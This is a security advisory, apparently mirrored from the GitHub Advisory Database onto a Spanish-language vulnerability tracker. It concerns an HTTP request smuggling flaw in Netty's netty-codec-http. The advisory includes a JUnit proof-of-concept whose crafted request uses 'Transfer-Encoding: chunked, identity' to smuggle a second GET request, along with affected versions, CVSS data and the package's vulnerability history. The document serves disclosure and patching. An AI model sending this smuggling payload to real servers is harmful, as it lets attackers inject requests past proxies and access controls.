Netty vulnerable to HTTP Request Smuggling due to malformed Transfer-Encoding
Summary
Netty incorrectly parses malformed Transfer-Encoding, enabling request smuggling attacks.
Details
Netty incorrectly marks a request as chunked when malformed "Transfer-Encoding: chunked, identity" is present. According to RFC https://datatracker.ietf.org/doc/html/rfc9112#name-message-body-length
" If a Transfer-Encoding header field is present in a request and the chunked transfer coding is not the final encoding, the message body length cannot be determined reliably; the server MUST respond with the 400 (Bad Request) status code and then close the connection. "
A possible scenario is when Netty is behind a proxy that doesn't reject requests with "Transfer-Encoding: chunked, identity", but prefers "Content-Length" and forwards the content to Netty.
PoC
The test below shows Netty successfully parsing the second request, demonstrating how an attacker can smuggle a second request inside a request body.
@Test
public void test() {
String requestStr = "POST / HTTP/1.1\r\n" +
"Host: localhost\r\n" +
"Transfer-Encoding: chunked, identity\r\n" +
"Content-Length: 48\r\n" +
"\r\n" +
"0\r\n" +
"\r\n" +
"GET /smuggled HTTP/1.1\r\n" +
"Host: localhost\r\n" +
"\r\n";
EmbeddedChannel channel = new EmbeddedChannel(new HttpRequestDecoder());
assertTrue(channel.writeInbound(Unpooled.copiedBuffer(requestStr, CharsetUtil.US_ASCII)));
// Request 1
HttpRequest request = channel.readInbound();
assertTrue(request.decoderResult().isSuccess());
assertTrue(request.headers().contains("Transfer-Encoding"));
assertFalse(request.headers().contains("Content-Length"));
LastHttpContent last = channel.readInbound();
assertTrue(last.decoderResult().isSuccess());
last.release();
// Request 2
request = channel.readInbound();
assertTrue(request.decoderResult().isSuccess());
last = channel.readInbound();
assertTrue(last.decoderResult().isSuccess());
last.release();
}Impact
HTTP Request Smuggling: Attacker injects arbitrary HTTP requests
Software afectado
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| Plataforma | Paquete | Versiones vulnerables | Corregida en |
|---|---|---|---|
| Java / Kotlin (Maven) | io.netty:netty-codec-http | >= 4.2.0.Alpha1, < 4.2.13.Final, < 4.1.133.Final | 4.2.13.Final, 4.1.133.Final |
Referencias
- Vector CVSS
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N- Debilidad (CWE)
CWE-444- Plataforma
- Java / Kotlin (Maven)
- Paquete
io.netty:netty-codec-http- Publicada
- 07.05.2026
- Actualizado
- 11.10.2026 13:20
Fuentes y licencias
OSV / GitHub Advisory Database - GHSA-38f8-5428-x5cv - CC BY 4.0
Historial de vulnerabilidades: io.netty:netty-codec-http
Todas las vulnerabilidades publicadas de este paquete (Java / Kotlin (Maven)), de la más reciente a la más antigua. Muestra si es un fallo aislado o un paquete que hay que vigilar.
- Entradas en total
- 24
- Primera → última
- 02.2020 08.2026
- Sin corrección
- 0
- Explotada en ataques
- 0
Distribución por gravedad
- Crítica 1
- Alta 6
- Media 16
- Baja 1
Divulgaciones por año
- 2020: 1
- 2021: 2
- 2022: 2
- 2023: 0
- 2024: 1
- 2025: 2
- 2026: 16
-
Netty vulnerable to HTTP Request Smuggling due to malformed Transfer-Encoding esta entrada
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